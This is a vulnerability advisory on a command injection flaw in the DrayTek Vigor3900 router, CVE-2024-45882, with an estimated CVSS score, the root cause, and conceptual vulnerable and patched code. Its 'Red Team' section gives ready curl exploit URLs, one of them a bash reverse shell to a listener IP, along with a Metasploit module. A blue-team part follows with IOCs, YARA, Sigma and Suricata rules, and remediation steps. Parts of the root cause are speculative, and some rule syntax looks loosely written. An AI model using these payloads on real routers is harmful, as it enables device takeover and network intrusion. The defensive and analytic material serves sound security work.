CVE-2024-45882

Executive Summary

CVE-2024-45882 is a critical command injection vulnerability discovered in the DrayTek Vigor3900 router, specifically in firmware version 1.5.1.3. The flaw resides in the cgi-bin/mainfunction.cgi script, where the action parameter set to delete_map_profile allows an unauthenticated attacker to inject arbitrary operating system commands. This can lead to full device compromise, network pivoting, and data exfiltration. The vulnerability is publicly known but currently unpatched, posing a significant risk to all affected devices.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded network device.

CVSS Breakdown & Threat Level

While an official CVSS vector is not provided, based on the nature of the vulnerability (unauthenticated remote command injection), the estimated score is 9.8 (Critical).

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the entire device.
• Confidentiality (C): High (H) – Full file system access.
• Integrity (I): High (H) – Full control over device configuration.
• Availability (A): High (H) – Can cause denial of service.

Threat Level: Critical. Immediate action is required.

Deep Dive & Mechanics

The vulnerability is a classic command injection in the cgi-bin/mainfunction.cgi CGI script. The action parameter is used to determine which function to execute. When set to delete_map_profile, the script likely passes user-supplied input (such as a profile name or ID) directly to a shell command without proper sanitization.

Root Cause: The application fails to validate or escape user input before concatenating it into a system command. For example, the backend might execute something like:

system("delete_map_profile " + user_input)

An attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands.

Attack Flow:

1. Attacker sends a crafted HTTP GET/POST request to cgi-bin/mainfunction.cgi.
2. The action parameter is set to delete_map_profile.
3. Additional parameters (e.g., profile_name) contain injected commands.
4. The device executes the injected commands with root privileges.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Pseudocode for vulnerable CGI handler
char command[512];
snprintf(command, sizeof(command), "delete_map_profile %s", get_param("profile_name"));
system(command);

Patched Code (Conceptual):

// Pseudocode for patched handler
char *profile = get_param("profile_name");
if (!is_valid_profile_name(profile)) {
    return_error("Invalid profile name");
    return;
}
// Use execve with sanitized arguments instead of system()
char *args[] = {"/usr/bin/delete_map_profile", profile, NULL};
execve(args[0], args, NULL);

The patched version validates the input against a whitelist of allowed characters and uses execve to avoid shell interpretation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target: DrayTek Vigor3900 with firmware 1.5.1.3.
• Network access to the device's web interface (typically port 80 or 443).

Exploit Payload:

# Basic command injection to execute 'id'
curl -X GET "http://<target_ip>/cgi-bin/mainfunction.cgi?action=delete_map_profile&profile_name=;id;"

Advanced Payload (Reverse Shell):

# Replace with your listener IP and port
curl -X GET "http://<target_ip>/cgi-bin/mainfunction.cgi?action=delete_map_profile&profile_name=;bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1';"

Metasploit Module (if available):

# Example Metasploit module structure
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'DrayTek Vigor3900 delete_map_profile Command Injection',
      'Description' => 'Exploits a command injection in the delete_map_profile action.',
      'Author' => ['Security Researcher'],
      'References' => [['CVE', '2024-45882']],
      'DisclosureDate' => '2024-10-01',
      'Targets' => [['Automatic', {}]],
      'Payload' => {'BadChars' => "\x00\x0a\x0d"}
    ))
  end

  def exploit
    send_request_cgi({
      'uri' => '/cgi-bin/mainfunction.cgi',
      'method' => 'GET',
      'vars_get' => {
        'action' => 'delete_map_profile',
        'profile_name' => ";#{payload.encoded};"
      }
    })
  end
end

Blue Team (Detection & Hardening)

Immediate Hardening:

1. Disable remote management if not required.
2. Restrict access to the web interface via firewall rules (allow only trusted IPs).
3. Monitor logs for suspicious requests to cgi-bin/mainfunction.cgi.

Detection Strategy:

• Look for HTTP requests containing shell metacharacters (;, |, &, `) in the profile_name parameter.
• Alert on multiple failed login attempts followed by exploitation attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /cgi-bin/mainfunction.cgi with action=delete_map_profile and suspicious profile_name values.
• Outbound connections from the device to unknown IPs on high ports (e.g., 4444, 1337).

File System IOCs:

• Unexpected files in /tmp/ or /var/ (e.g., reverse shell scripts).
• Modified system binaries (e.g., /bin/sh replaced with a backdoor).

Process IOCs:

• Unusual processes running as root, such as bash, nc, or python with network connections.

Detection Engineering

YARA Rule

rule CVE_2024_45882_DrayTek_Command_Injection {
    meta:
        description = "Detects command injection attempts against DrayTek Vigor3900"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "CVE-2024-45882"
    strings:
        $s1 = "action=delete_map_profile" ascii wide nocase
        $s2 = "profile_name=" ascii wide nocase
        $s3 = /[;|&`$(){}]/
    condition:
        all of ($s1, $s2) and #s3 > 0
}

Sigma Rule

title: DrayTek Vigor3900 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-45882
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'action=delete_map_profile'
        cs-uri-query|contains: 'profile_name='
    filter:
        cs-uri-query|contains: 'profile_name=[a-zA-Z0-9_-]+$'
    condition: selection and not filter
falsepositives:
    - Legitimate use of the delete_map_profile function with valid profile names
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-45882 DrayTek Vigor3900 Command Injection Attempt";
    flow:to_server,established;
    content:"/cgi-bin/mainfunction.cgi"; http_uri;
    content:"action=delete_map_profile"; http_uri;
    content:"profile_name="; http_uri;
    pcre:"/profile_name=[^&]*[;|&`$(){}]/Ri";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from the internet and untrusted networks.
2. Apply vendor patch if/when released. Monitor DrayTek's security advisories.
3. Implement WAF rules to block requests containing shell metacharacters in the profile_name parameter.

Long-Term Fix:

• Upgrade to a patched firmware version as soon as it becomes available.
• Replace the device if no patch is released.

Workaround:

• Disable the delete_map_profile functionality by modifying the web server configuration (if possible).

Valters IT